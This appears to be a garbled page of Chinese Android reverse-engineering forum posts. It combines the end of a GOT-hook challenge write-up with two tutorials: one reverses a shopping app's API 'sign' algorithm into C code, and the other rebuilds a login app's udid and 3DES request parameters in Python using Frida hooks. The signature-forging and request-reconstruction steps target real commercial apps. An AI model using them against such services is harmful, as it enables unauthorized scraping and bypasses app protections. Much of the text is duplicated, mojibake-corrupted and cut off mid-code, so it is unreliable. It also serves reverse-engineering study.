\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | __int64 sub_1B540() { FILE *v0; // x20 char *v1; // x0 unsigned __int64 v2; // x19 __int64 v3; // x24 __int64 v4; // x22 __int64 v5; // x23 __int64 v6; // x25 __int64 v7; // x8 __int64 (**v8)(); // x19 __int64 result; // x0 char filename[4096]; // [xsp+8h] [xbp-1008h] BYREF __int64 v11; // [xsp+1008h] [xbp-8h] v11 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40); sub_1B6C4(filename); v0 = fopen (filename, \\"r\\" ); if ( v0 ) { while ( fgets (filename, 4096, v0) ) { if ( strstr (filename, \\"libnative2.so\\" ) ) { v1 = strtok (filename, \\"-\\" ); v2 = strtoull(v1, 0LL, 16); goto LABEL_6; } } } v2 = 0LL; LABEL_6: fclose (v0); sub_1B000(v2, &qword_40F70); if ( ( int )(qword_40FC8 / 0x18uLL) < 1 ) { LABEL_10: v7 = 0LL; } else { v3 = (unsigned int )(qword_40FC8 / 0x18uLL); v4 = qword_40F78; v5 = unk_40F80; v6 = qword_40FC0 + 8; while ( strcmp (( const char *)(v5 + *(unsigned int *)(v4 + 24LL * *(unsigned int *)(v6 + 4))), \\"rand\\" ) ) { v6 += 24LL; if ( !--v3 ) goto LABEL_10; } v7 = *(_QWORD *)(v6 - 8); } v8 = ( __int64 (**)())(v7 + v2); result = mprotect(v8, 8uLL, 3); *v8 = sub_1B140; return result; } |
这里可以很明显的是一个rand的替换操作,rand替换为了sub_1B140,这个函数恒定返回233,就是真正的密钥了。
\\n如果这个修改rand got表的操作不在.init.got表中,如何找到他呢?
\\ntips:
\\n官网只给了mac版本的7.5.2 CE 但是给的CE server是7.5,所以连接的时候会报错,最后只能自己编译,编译的时候ndk版本别太高,不然一堆报错(血的教训)
如果主机和模拟器不能ping通 那连接ce server时 使用127.0.0.1的话 记得 adb forwar tcp:52736 tcp:52736
要看so 在哪被修改了,CE 扫描的时机很重要,要在native2加载的时候扫描一次,然后native1加载后或者再往后的一个时机扫描改变的字节
\\n所以要hook System.loadLibrary()
\\n这里真是大坑了,查看github issues 才知道System.loadLibrary()是不可以hook的函数之一,因为你在Java.perfrom()里使用,但它会修改classloadrer,导致报错
所以最根本的方法就是hook dlopen 或者 android_dlopen_ext
\\n这里我选择 hook android_dlopen_ext,在 native1加载的时候暂停一会,方便CE 扫描
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Interceptor.attach(Module.findExportByName( \'libc.so\' , \'android_dlopen_ext\' ), { onEnter: function (args) { var libraryPath = Memory.readUtf8String(args[0]); // 第一个参数是库路径 console.log( \'android_dlopen_ext called to load library: \' + libraryPath); if (libraryPath.indexOf( \'native1.so\' ) !== -1) { console.log( \'Pausing for 10 seconds before loading native1.so...\' ); // 暂停 10 秒 var sleep_string = Module.findExportByName( \'libc.so\' , \'sleep\' ); var sleep_address = parseInt(sleep_string, 16); new NativeFunction(ptr(sleep_address), \'void\' , [ \'int\' ])(20); } }, onLeave: function (retval) { // 你可以在此修改返回值,或输出其他信息 console.log( \'android_dlopen_ext returned: \' + retval); } }); |
hook mprotect的调用,关注地址在so地址范围的地址
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | hook_mprotect() var module = Process.findModuleByName( \'libnative2.so\' ); console. log ( \'libnative2.so loaded at: \' + module.base); function hook_mprotect(){ // 使用 Frida 钩取 mprotect 函数 Interceptor.attach(Module.findExportByName( \\"libc.so\\" , \'mprotect\' ), { onEnter: function(args) { // 获取函数参数 this .addr = args[0]; // addr 参数:指向内存区域的指针 this .len = args[1]; // len 参数:内存区域的长度 this .prot = args[2]; // prot 参数:内存保护标志 // console.log(this.len.toString()); // if(this.len.toString() === \'0x8\'){ console. log ( \'mprotect called\' ); console. log ( \'Address: \' + this .addr, \'Length: \' + this .len + \'Protection: \' + this .prot); // } }, onLeave: function(retval) { // 你可以在此修改函数的返回值,或者在返回时打印一些信息 // console.log(\'mprotect return value: \' + retval); } }); } |
运行结果
\\n1 2 | mprotect called Address: 0x6d55c3c3f8 Length: 0x8Protection: 0x3 |
计算偏移 正好是0x43f8 也就是 rand_ptr的位置
\\nCE 查看修改后的内容
\\n正好是 native1 中 sub_1B140
\\n整体 难度不大 但是很有趣 这个过程中探索了各种工具的使用 各种环境的搭建 还是学到了很多,感谢你看到了这里 祝你玩的开心。
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n目标接口:搜索 https://api.m.ooxx.com/client.action?functionId=search
\\n版本:13.1.0
\\n目标参数:body 中的 x-api-eid-token 和 sign
\\n定位接口参数的方法
\\n这里我们直接使用最朴素的搜索大法,一次就中。
\\n继续跟踪,进最下面这个看看。
\\n下面拼接了 urlEncodeUTF82 ,看英文就是一个 utf 编码之后的数据。继续向上跟踪
\\n进入第一个,函数返回的是一个字符串。还不是加密的地方。
\\nJDHttpTookit.getEngine().getSignatureHandlerImpl().signature 这就是签名函数。
\\n接口函数一般是 implement 或者直接 new 出来。这里跟进 new 出来的
\\n通过 frida 获取传入的参数
\\n主动调用,方便后续做测试
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function call_by_java() { Java.perform( function (){ let BitmapkitUtils = Java.use( \\"com.ooxx.common.utils.BitmapkitUtils\\" ); let context = Java.use( \\"android.app.ActivityThread\\" ).currentApplication().getApplicationContext(); let str = \'search\' let str2 = \'{\\"addrFilter\\":\\"1\\",\\"addressId\\":\\"0\\",\\"articleEssay\\":\\"1\\",\\"attrRet\\":\\"0\\",\\"buriedExpLabel\\":\\"\\",\\"deviceidTail\\":\\"38\\",\\"exposedCount\\":\\"0\\",\\"filterServiceIds\\":\\"1468131091\\",\\"first_search\\":\\"1\\",\\"frontExpids\\":\\"F_001\\",\\"gcAreaId\\":\\"1,72,55674,0\\",\\"gcLat\\":\\"39.944093\\",\\"gcLng\\":\\"116.482276\\",\\"imagesize\\":{\\"gridImg\\":\\"531x531\\",\\"listImg\\":\\"358x358\\",\\"longImg\\":\\"531x708\\"},\\"insertArticle\\":\\"1\\",\\"insertScene\\":\\"1\\",\\"insertedCount\\":\\"0\\",\\"isCorrect\\":\\"1\\",\\"jdv\\":\\"0|kong|t_2018512525_cpv_nopay|tuiguang|17303608941925019140008|1730360893\\",\\"keyword\\":\\"空气加湿器\\",\\"localNum\\":\\"2\\",\\"newMiddleTag\\":\\"1\\",\\"newVersion\\":\\"3\\",\\"oneBoxMod\\":\\"1\\",\\"orignalSearch\\":\\"1\\",\\"orignalSelect\\":\\"1\\",\\"page\\":\\"1\\",\\"pageEntrance\\":\\"1\\",\\"pagesize\\":\\"10\\",\\"populationType\\":\\"232\\",\\"pvid\\":\\"\\",\\"searchVersionCode\\":\\"10110\\",\\"secondInsedCount\\":\\"0\\",\\"showShopTab\\":\\"yes\\",\\"showStoreTab\\":\\"1\\",\\"show_posnum\\":\\"0\\",\\"sourceRef\\":[{\\"action\\":\\"\\",\\"eventId\\":\\"MyJD_WordSizeResult\\",\\"isDirectSearch\\":\\"0\\",\\"logid\\":\\"\\",\\"pageId\\":\\"Home_Main\\",\\"pvId\\":\\"\\"},{\\"action\\":\\"\\",\\"eventId\\":\\"Search_History\\",\\"isDirectSearch\\":\\"0\\",\\"logid\\":\\"\\",\\"pageId\\":\\"Search_Activity\\",\\"pvId\\":\\"632ba208e4854bb1839e6e32a5e6b841\\"}],\\"stock\\":\\"1\\",\\"ver\\":\\"142\\"}\' let str3 = \\"bd132c578e85c7cd\\" ; let str4 = \\"android\\" ; let str5 = \\"13.1.0\\" ; let result = BitmapkitUtils.getSignFromJni(context, str, str2, str3, str4, str5); console.log( \\"BitmapkitUtils.getSignFromJni result = \\" + result); }) } |
1 | BitmapkitUtils.getSignFromJni result = st=1731485532078&sign=3c9820dce84fc15ceaf29bf0e0630306&sv=111 |
结果中就包含了我们今天的主角 ==sign== 。长度为 32 脑海中就冒出 MD5了。
\\n调用到了 native 层了。java 层的分析就到这里了。这里类中并没有看到加载 so 。需要通过 frida hook 导出的符号表,反查 so 的名字。
\\n得到模板 so 的名字为 libjdbitmapkit.so
\\nIDA 打开可以看到 getSignFromJni 的导出函数 。通过 IDA frida-trace 先 trace 一份日志方便后面分析
\\n工具:https://github.com/Pr0214/trace_natives
\\n把下载到的 traceNatives.py 放到 ida 根目录的 plugin 目录下重启 IDA。点击 edit -> plugins -> traceNatives 会生成一个文件夹给frida-trace 使用。
\\n1 | frida-trace -H iP:port -F -O D:\\\\ooxx\\\\libjdbitmapkit_1731482430.txt |
frida 就会开始trace 此时不要关闭命令行,直接调用刚才的主动触发的函数 call_by_java() 就会生成追踪数据,复制保存成一个 log 文件方便后面分析。
\\n再用 findHash 插件看看能不能找到什么有用的信息
\\n把两个数据做对比发现了 sub_27A4 这个函数在两边都有出现。
\\nIDA 中按 g 跳转过去看看
\\n看上去很像 MD5 哦,点击数字按 h 转换成十六进制然后去搜索一下
\\n有点意思!! 应该是MD5。查看 trace 日志,sub_8134() 是最开始的地方,IDA 中看看是什么内容。
\\n经过对比发现,我们的入口函数也就是 8134 。那还有什么说的,盘他咯!!
\\n在 trace 日志中 8134 这层调用的最后一个函数是 33b4,进入 33b4 之后就是 MD5算法了。我们先 hook 7e08 查看入参。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | function print_arg(addr) { try { var module = Process.findRangeByAddress(addr); if (module != null ) return \\"\\\\n\\" +hexdump(addr) + \\"\\\\n\\" ; return ptr(addr) + \\"\\\\n\\" ; } catch (e) { return addr + \\"\\\\n\\" ; } } function hook_native(funptr,paramsNum) { var md = Process.findModuleByAddress(funptr); console.log( \\"hook func \\" ); try { //hook 指定函数 Interceptor.attach(funptr,{ onEnter: function (args){ this .logs = \\"\\" this .params = []; this .logs = this .logs.concat( \\"So: \\" +md.name + \\" Method: \\" + ptr(funptr).sub(md.base) + \\"\\\\n\\" ) for ( var i = 0; i < paramsNum; i++) { //参数 this .params.push(args[i]); this .logs = this .logs.concat( \\"this.args \\" +i+ \\" onEnter: \\" +print_arg(args[i])+ \\"\\\\n\\" ) } }, onLeave: function (retval){ for (let i = 0; i < paramsNum; i++) { this .logs= this .logs.concat( \\"this.args\\" + i + \\" onLeave: \\" + print_arg( this .params[i])); } this .logs= this .logs.concat( \\"retval onLeave: \\" + print_arg(retval) + \\"\\\\n\\" ); console.log( this .logs); } }); } catch (error) { console.log(error); } } hook_native(Module.findBaseAddress( \\"libjdbitmapkit.so\\" ).add(0x33B4), 0x3); |
传入的参数很像 base64 但是解密之后还是乱码。传入之前做了处理。向上追踪,在 trace 日志,上一个被调用的函数是 2698
\\nhook 2698 看看返回值,刚好就是 33B4 的入参
\\n跟踪 2698 第二个参数,它来自 v37 , v37 又是来自 7E08 这个函数 。而且 在 trace 日志中也有它的身影。
\\n经过分析可以发现 7E08 最后两个参数是两个随机数,就是这两个随机数决定了之后使用不同的分支算法。
\\n进入 7E08 。先判断最后一个参数的随机数,用不同方式在生成一个随机数,然后与倒数第二参数的随机数相加产生新的随机数。
\\n使用新的随机数来决定最终进入那个分支的算法。特别注意一下 gen_str_44e这是一个固定的字符串。在进入不同分支的时候,根据新的随机数取了这个字符串中不同的数据
\\nhook 7E08 得到的参数
\\n在我们的 trace log 中 进入了 case2 分支,就先分析这个分支。
\\n\\n\\n这里要特别注意一下,因为这里是根据随机数来进入不同的分支的。所以在测试的时候不是每次都进入到这个 8cc8 分支。多调用几次,总会有一个进入的。
\\n
通过代码看到各参数都进入到 1ADCC这个函数,优先分析这个函数。hook 查看参数
\\n1 | hook_native(Module.findBaseAddress( \\"libjdbitmapkit.so\\" ).add(0x1ADCC), 0x5); |
修改一下hook代码把第二参数输出一下
\\n第二参数是字符串,第四个参数是传入的数据,第五个参数是传入数据的长度。所以可以让 hexdump 根据这个参数 dump 出完整的数据。
分析之后 1ADCC 就是最终的算法
\\n下面是还原之后的算法
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #include <stdio.h> void alg2( char * rawdata, int input_len){ int v4,v10; char v12 ; // 分支 2 的算法 char * key = \\"80306f4370b39fd5630ad0529f77adb6\\" ; unsigned char table[0x10] = {0x37, 0x92, 0x44, 0x68, 0xA5, 0x3D, 0xCC, 0x7F, 0xBB,0xF, 0xD9, 0x88, 0xEE, 0x9A, 0xE9, 0x5A}; for ( int i = 0; i != input_len; ++i) { v4 = i&7; // v10 = byte_FA0[v9 & 0xF]; v10 = table[i& 0xF]; // v12 = ((v10 ^ *(_BYTE *)(rawdata + v9) ^ *(_BYTE *)(randondata + (v9 & 7))) + v11) ^ v10; v12 = ((v10 ^ *(unsigned char *)(rawdata + i) ^ *(unsigned char *)(key + (i & 7))) + v10) ^ v10; // *(_BYTE *)(rawdata + v9) = v12; *(unsigned char *)(rawdata + i) = v12; // *(_BYTE *)(rawdata + v9) = v12 ^ *(_BYTE *)(randondata + (v9 & 7)); *(unsigned char *)(rawdata + i) = v12 ^ *(unsigned char *)(key + (i & 7)); } } int main( int argc, char const *argv[]) { char input [] = \\"functionId=search&body={\\\\\\"addrFilter\\\\\\":\\\\\\"1\\\\\\",\\\\\\"addressId\\\\\\":\\\\\\"0\\\\\\",\\\\\\"articleEssay\\\\\\":\\\\\\"1\\\\\\",\\\\\\"attrRet\\\\\\":\\\\\\"0\\\\\\",\\\\\\"buriedExpLabel\\\\\\":\\\\\\"\\\\\\",\\\\\\"deviceidTail\\\\\\":\\\\\\"38\\\\\\",\\\\\\"exposedCount\\\\\\":\\\\\\"0\\\\\\",\\\\\\"filterServiceIds\\\\\\":\\\\\\"1468131091\\\\\\",\\\\\\"first_search\\\\\\":\\\\\\"1\\\\\\",\\\\\\"frontExpids\\\\\\":\\\\\\"F_001\\\\\\",\\\\\\"gcAreaId\\\\\\":\\\\\\"1,72,55674,0\\\\\\",\\\\\\"gcLat\\\\\\":\\\\\\"39.944093\\\\\\",\\\\\\"gcLng\\\\\\":\\\\\\"116.482276\\\\\\",\\\\\\"imagesize\\\\\\":{\\\\\\"gridImg\\\\\\":\\\\\\"531x531\\\\\\",\\\\\\"listImg\\\\\\":\\\\\\"358x358\\\\\\",\\\\\\"longImg\\\\\\":\\\\\\"531x708\\\\\\"},\\\\\\"insertArticle\\\\\\":\\\\\\"1\\\\\\",\\\\\\"insertScene\\\\\\":\\\\\\"1\\\\\\",\\\\\\"insertedCount\\\\\\":\\\\\\"0\\\\\\",\\\\\\"isCorrect\\\\\\":\\\\\\"1\\\\\\",\\\\\\"jdv\\\\\\":\\\\\\"0|kong|t_2018512525_cpv_nopay|tuiguang|17303608941925019140008|1730360893\\\\\\",\\\\\\"keyword\\\\\\":\\\\\\"空æ°å 湿å¨\\\\\\",\\\\\\"localNum\\\\\\":\\\\\\"2\\\\\\",\\\\\\"newMiddleTag\\\\\\":\\\\\\"1\\\\\\",\\\\\\"newVersion\\\\\\":\\\\\\"3\\\\\\",\\\\\\"oneBoxMod\\\\\\":\\\\\\"1\\\\\\",\\\\\\"orignalSearch\\\\\\":\\\\\\"1\\\\\\",\\\\\\"orignalSelect\\\\\\":\\\\\\"1\\\\\\",\\\\\\"page\\\\\\":\\\\\\"1\\\\\\",\\\\\\"pageEntrance\\\\\\":\\\\\\"1\\\\\\",\\\\\\"pagesize\\\\\\":\\\\\\"10\\\\\\",\\\\\\"populationType\\\\\\":\\\\\\"232\\\\\\",\\\\\\"pvid\\\\\\":\\\\\\"\\\\\\",\\\\\\"searchVersionCode\\\\\\":\\\\\\"10110\\\\\\",\\\\\\"secondInsedCount\\\\\\":\\\\\\"0\\\\\\",\\\\\\"showShopTab\\\\\\":\\\\\\"yes\\\\\\",\\\\\\"showStoreTab\\\\\\":\\\\\\"1\\\\\\",\\\\\\"show_posnum\\\\\\":\\\\\\"0\\\\\\",\\\\\\"sourceRef\\\\\\":[{\\\\\\"action\\\\\\":\\\\\\"\\\\\\",\\\\\\"eventId\\\\\\":\\\\\\"MyJD_WordSizeResult\\\\\\",\\\\\\"isDirectSearch\\\\\\":\\\\\\"0\\\\\\",\\\\\\"logid\\\\\\":\\\\\\"\\\\\\",\\\\\\"pageId\\\\\\":\\\\\\"Home_Main\\\\\\",\\\\\\"pvId\\\\\\":\\\\\\"\\\\\\"},{\\\\\\"action\\\\\\":\\\\\\"\\\\\\",\\\\\\"eventId\\\\\\":\\\\\\"Search_History\\\\\\",\\\\\\"isDirectSearch\\\\\\":\\\\\\"0\\\\\\",\\\\\\"logid\\\\\\":\\\\\\"\\\\\\",\\\\\\"pageId\\\\\\":\\\\\\"Search_Activity\\\\\\",\\\\\\"pvId\\\\\\":\\\\\\"632ba208e4854bb1839e6e32a5e6b841\\\\\\"}],\\\\\\"stock\\\\\\":\\\\\\"1\\\\\\",\\\\\\"ver\\\\\\":\\\\\\"142\\\\\\"}&uuid=bd132c578e85c7cd&client=android&clientVersion=13.1.0&st=1731550738362&sv=102\\\\\\"\\" ; alg2(input, sizeof (input)-1); for ( int i = 0; i < sizeof (input)-1; i++){ printf ( \\"%02x\\" ,(unsigned char )input[i]); } return 0; } |
可以看到是一致的
\\n最后把这段数据 base64 之后再进行 md5 就是最终的 sign 值。最终拼接上 sv 和 t 值返回到 java 层
\\n今天就先分析case2 的分支,以后有机会再分析其他分支啦!!
\\n以 x-api-eid-token 作为入口点,分析 java 层的最终点在 BitmapkitUtils.getSignFromJni。结合 frida-trace 和 findHash 找到关键点 sub_27A4 。在这个函数内部使用了随机数的方式进入不同的分支。使用 CASE2 分支作为今天的入口点,最终成功得到 sign 具体的算法逻辑。
\\n第一次写文章,有什么表达的不清楚的希望大家多包涵。有什么问题,可以在评论区提出哈!
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n为了安全考虑这个app我就不说是那个了 我就说整体的思路
仅供交流学习 严谨非法使用
为了安全考虑这个app我就不说是那个了 我就说整体的思路
仅供交流学习 严谨非法使用
手机使用代理连接charles
之后开始点击app登录 进行抓包
手机使用代理连接charles
之后开始点击app登录 进行抓包
下面则是我抓到的包
下面则是我抓到的包
抓包之后j进行改包
也就是去掉form中的随机一个参数进行请求发送 这一步的目的就是去除掉没用的参数
这样的话就可以在逆向的时候减少工作量
下面我告诉大家如何该报
抓包之后j进行改包
也就是去掉form中的随机一个参数进行请求发送 这一步的目的就是去除掉没用的参数
这样的话就可以在逆向的时候减少工作量
下面我告诉大家如何该报
按照上面的步骤进行改包 然后发送请求看是否能够成功 如果不能成功的话这个参数是不能去除的
按照上面的步骤进行改包 然后发送请求看是否能够成功 如果不能成功的话这个参数是不能去除的
这里我用的是jadx
反编译成功之后 如下 注意看箭头标记的位置 如果包很多并没有乱码或者包少初步可以判断是没有加固
如果初步判断没有进行加壳那么就可以进行搜索
这里有两个搜索方案
搜索url 也就是发请求的那个 login.ashx
\\n
搜索关键字 也就是form中的 而我搜索的是关键字
\\n
这里我用的是jadx
反编译成功之后 如下 注意看箭头标记的位置 如果包很多并没有乱码或者包少初步可以判断是没有加固
如果初步判断没有进行加壳那么就可以进行搜索
这里有两个搜索方案
搜索url 也就是发请求的那个 login.ashx
\\n
搜索关键字 也就是form中的 而我搜索的是关键字
\\n
我 搜索到了第一个
我 搜索到了第一个
看起来是个常量
按照开发的逻辑来说常量是一个经常使用并且不变的 那么就是他了 咱们翻翻这一页的代码
很遗憾 并不是 继续看下一个 也就上面图中的最后一个
看起来是个常量
按照开发的逻辑来说常量是一个经常使用并且不变的 那么就是他了 咱们翻翻这一页的代码
很遗憾 并不是 继续看下一个 也就上面图中的最后一个
最后一个让我找到了可能是 因为有好多我发现的参数 也就是请求的参数里面看起来都有
最后一个让我找到了可能是 因为有好多我发现的参数 也就是请求的参数里面看起来都有
首先是
KEY_APP_ID
这个是个常量的Key 值话也是个常量 那么好 第一个参数已经破解完成
\\nchannelid
这个key 并不是个常量 这时候可以用frida进行调用
\\n首先是
KEY_APP_ID
这个是个常量的Key 值话也是个常量 那么好 第一个参数已经破解完成
\\nchannelid
这个key 并不是个常量 这时候可以用frida进行调用
\\n先进行注入检测 也就是随便一个函数看看是否有检测
很幸运 这个app并没有任何检测
先进行注入检测 也就是随便一个函数看看是否有检测
很幸运 这个app并没有任何检测
上面说到了 channelid这个值
getChannelId 是这个函数产生的 那么我就开始用frida检测这个值看看他的参数是什么
\\n上面说到了 channelid这个值
getChannelId 是这个函数产生的 那么我就开始用frida检测这个值看看他的参数是什么
\\nimport
frida
\\nimport
sys
\\nrdev
=
frida.get_remote_device()
\\npid
=
rdev.spawn([
\\"xxxx\\"
])
\\nsession
=
rdev.attach(pid)
\\nscr
=
\\"\\"\\"
\\nJava.perform(function(){
var AppUtils = Java.use(\\"xxxx.util.AppUtils\\")
\\n
AppUtils.getChannelId.implementation = function(c){
\\n
var res = this.getChannelId(c)
\\n
console.log(res,\\"getChannelId\\")
\\n
return res
\\n
}
\\n})
\\"\\"\\"
script
=
session.create_script(scr)
\\ndef
on_message(message, data):
\\n
print
(message, data)
\\nscript.on(
\\"message\\"
, on_message)
\\nscript.load()
rdev.resume(pid)
sys.stdin.read()
import
frida
\\nimport
sys
\\nrdev
=
frida.get_remote_device()
\\npid
=
rdev.spawn([
\\"xxxx\\"
])
\\nsession
=
rdev.attach(pid)
\\nscr
=
\\"\\"\\"
\\nJava.perform(function(){
var AppUtils = Java.use(\\"xxxx.util.AppUtils\\")
\\n
AppUtils.getChannelId.implementation = function(c){
\\n
var res = this.getChannelId(c)
\\n
console.log(res,\\"getChannelId\\")
\\n
return res
\\n
}
\\n})
\\"\\"\\"
script
=
session.create_script(scr)
\\ndef
on_message(message, data):
\\n
print
(message, data)
\\nscript.on(
\\"message\\"
, on_message)
\\nscript.load()
rdev.resume(pid)
sys.stdin.read()
我的经验是多hook几次看看是否是同一个值 如果是的话那么就直接用就好了
这里我多试了几次值是一样的 那么我就可以直接用了
好 接下来就开始破译下一个
KEY_APP_VERSION
\\n
这个看起来是个版本号
\\n按照上面的代码 继续使用getCannelId这个hook脚本继续开始hook 还是建议多hook几次
好 我发现还是一样的 那么好! 那还是继续用
接下来就是下一个参数
udid
\\n
这个get_uuid 还是用上面的代码进行hook(记得改函数和包 xxx 哪里)
\\n
这个参数 我还是按照习惯多来了几次 发现每次都是不一样的 好那么深入进行探究!
\\n我的经验是多hook几次看看是否是同一个值 如果是的话那么就直接用就好了
这里我多试了几次值是一样的 那么我就可以直接用了
好 接下来就开始破译下一个
KEY_APP_VERSION
\\n
这个看起来是个版本号
\\n按照上面的代码 继续使用getCannelId这个hook脚本继续开始hook 还是建议多hook几次
好 我发现还是一样的 那么好! 那还是继续用
接下来就是下一个参数
udid
\\n
这个get_uuid 还是用上面的代码进行hook(记得改函数和包 xxx 哪里)
\\n
这个参数 我还是按照习惯多来了几次 发现每次都是不一样的 好那么深入进行探究!
\\npublic
static
String getUDID(Context context) {
\\n
return
SecurityUtil.encode3Des(context, getIMEI(context) + HiAnalyticsConstant.REPORT_VAL_SEPARATOR + System.nanoTime() + HiAnalyticsConstant.REPORT_VAL_SEPARATOR + SPUtils.getDeviceId());
\\n
}
\\npublic
static
String getUDID(Context context) {
\\n
return
SecurityUtil.encode3Des(context, getIMEI(context) + HiAnalyticsConstant.REPORT_VAL_SEPARATOR + System.nanoTime() + HiAnalyticsConstant.REPORT_VAL_SEPARATOR + SPUtils.getDeviceId());
\\n
}
\\n这个是代码我发现了有时间生成 那确实每次都会不一样
好 接下来继续深层次研究除了时间的每个参数
getIMEI 多hook 几次看看是不是值是一样的
REPORT_VAL_SEPARATOR 这个是个常量
getDeviceId 多hook 几次看看是不是值是一样的
根据验证 上面的值每次都是一样的! 好 接下来那么就继续下一步 用python进行组装
这个是代码我发现了有时间生成 那确实每次都会不一样
好 接下来继续深层次研究除了时间的每个参数
getIMEI 多hook 几次看看是不是值是一样的
REPORT_VAL_SEPARATOR 这个是个常量
getDeviceId 多hook 几次看看是不是值是一样的
根据验证 上面的值每次都是一样的! 好 接下来那么就继续下一步 用python进行组装
def
make_uuid(
\\n
imei,
\\n
report_val_separator,
\\n
nano_time,
\\n
getDeviceId,
\\n):
make_str
=
imei
+
report_val_separator
+
str
(nano_time)
+
report_val_separator
+
getDeviceId
\\n
return
make_str
\\nuuid
=
make_uuid(
\\n
imei
=
\\"xxxx\\"
,
\\n
report_val_separator
=
\\"xxxx\\"
,
\\n
nano_time
=
time.time_ns(),
\\n
getDeviceId
=
\\"xxxx\\"
,
\\n)
def
make_uuid(
\\n
imei,
\\n
report_val_separator,
\\n
nano_time,
\\n
getDeviceId,
\\n):
make_str
=
imei
+
report_val_separator
+
str
(nano_time)
+
report_val_separator
+
getDeviceId
\\n
return
make_str
\\nuuid
=
make_uuid(
\\n
imei
=
\\"xxxx\\"
,
\\n
report_val_separator
=
\\"xxxx\\"
,
\\n
nano_time
=
time.time_ns(),
\\n
getDeviceId
=
\\"xxxx\\"
,
\\n)
很好那么看起来
context, getIMEI(context)
+
HiAnalyticsConstant.REPORT_VAL_SEPARATOR
+
System.nanoTime()
+
HiAnalyticsConstant.REPORT_VAL_SEPARATOR
+
SPUtils.getDeviceId()
\\nencode3Des 这个第二个参数已经破译好了
这次开始破译 encode3Des
很好那么看起来
context, getIMEI(context)
+
HiAnalyticsConstant.REPORT_VAL_SEPARATOR
+
System.nanoTime()
+
HiAnalyticsConstant.REPORT_VAL_SEPARATOR
+
SPUtils.getDeviceId()
\\nencode3Des 这个第二个参数已经破译好了
这次开始破译 encode3Des
public
static
String encode3Des(Context context, String str) {
\\n
String desKey = AHAPIHelper.getDesKey(context);
\\n
byte
[] bArr =
null
;
\\n
if
(TextUtils.isEmpty(desKey)) {
\\n
return
null
;
\\n
}
\\n
try
{
\\n
SecretKey generateSecret = SecretKeyFactory.getInstance(
\\"desede\\"
).generateSecret(
new
DESedeKeySpec(desKey.getBytes()));
\\n
Cipher instance = Cipher.getInstance(
\\"desede/CBC/PKCS5Padding\\"
);
\\n
instance.init(
1
, generateSecret,
new
IvParameterSpec(iv.getBytes()));
\\n
bArr = instance.doFinal(str.getBytes(
\\"UTF-8\\"
));
\\n
}
catch
(Exception unused) {
\\n
}
\\n
return
encode(bArr).toString();
\\n
}
\\npublic
static
String encode3Des(Context context, String str) {
\\n
String desKey = AHAPIHelper.getDesKey(context);
\\n
byte
[] bArr =
null
;
\\n
if
(TextUtils.isEmpty(desKey)) {
\\n
return
null
;
\\n
}
\\n
try
{
\\n
SecretKey generateSecret = SecretKeyFactory.getInstance(
\\"desede\\"
).generateSecret(
new
DESedeKeySpec(desKey.getBytes()));
\\n
Cipher instance = Cipher.getInstance(
\\"desede/CBC/PKCS5Padding\\"
);
\\n
instance.init(
1
, generateSecret,
new
IvParameterSpec(iv.getBytes()));
\\n
bArr = instance.doFinal(str.getBytes(
\\"UTF-8\\"
));
\\n
}
catch
(Exception unused) {
\\n
}
\\n
return
encode(bArr).toString();
\\n
}
\\n这段代码看起来就是个加密
3DES
(Triple DES)加密,也称为 DESede
\\n那么好 代码里面也没什么难的地方 那么就改成Python吧
这段代码看起来就是个加密
3DES
(Triple DES)加密,也称为 DESede
\\n那么好 代码里面也没什么难的地方 那么就改成Python吧
from
Crypto.Cipher
import
DES3
\\nfrom
Crypto.Util.Padding
import
pad
\\nimport
base64
\\ndef
encode_3des(des_key, data, iv):
\\n
if
len
(des_key) !
=
24
:
\\n
raise
ValueError(
\\"The DES key must be 24 bytes long for 3DES.\\"
)
\\n
# 确保密钥长度为 24 字节
\\n
des_key
=
des_key.encode(
\'utf-8\'
)[:
24
]
\\n
cipher
=
DES3.new(des_key, DES3.MODE_CBC, iv.encode(
\'utf-8\'
))
\\n
# 对输入数据进行 padding
\\n
padded_data
=
pad(data.encode(
\'utf-8\'
), DES3.block_size)
\\n
# 加密数据
\\n
encrypted_data
=
cipher.encrypt(padded_data)
\\n
# 返回加密后的数据,并进行 base64 编码
\\n
return
base64.b64encode(encrypted_data).decode(
\'utf-8\'
)
\\n# 示例调用
des_key
=
\\"your_24_byte_key_here\\"
\\niv
=
\\"your_8_byte_iv_here\\"
# IV 长度为 8 字节
\\ndata
=
\\"The data to encrypt\\"
\\nencoded_data
=
encode_3des(des_key, data, iv)
\\nprint
(f
\\"Encrypted data: {encoded_data}\\"
)
\\nfrom
Crypto.Cipher
import
DES3
\\nfrom
Crypto.Util.Padding
import
pad
\\nimport
base64
\\ndef
encode_3des(des_key, data, iv):
\\n
if
len
(des_key) !
=
24
:
\\n
raise
ValueError(
\\"The DES key must be 24 bytes long for 3DES.\\"
)
\\n
# 确保密钥长度为 24 字节
\\n
des_key
=
des_key.encode(
\'utf-8\'
)[:
24
]
\\n
cipher
=
DES3.new(des_key, DES3.MODE_CBC, iv.encode(
\'utf-8\'
))
\\n
# 对输入数据进行 padding
\\n
padded_data
=
pad(data.encode(
\'utf-8\'
), DES3.block_size)
\\n
# 加密数据
\\n
encrypted_data
=
cipher.encrypt(padded_data)
\\n
# 返回加密后的数据,并进行 base64 编码
\\n
return
base64.b64encode(encrypted_data).decode(
\'utf-8\'
)
\\n# 示例调用
des_key
=
\\"your_24_byte_key_here\\"
\\niv
=
\\"your_8_byte_iv_here\\"
# IV 长度为 8 字节
\\ndata
=
\\"The data to encrypt\\"
\\nencoded_data
=
encode_3des(des_key, data, iv)
\\nprint
(f
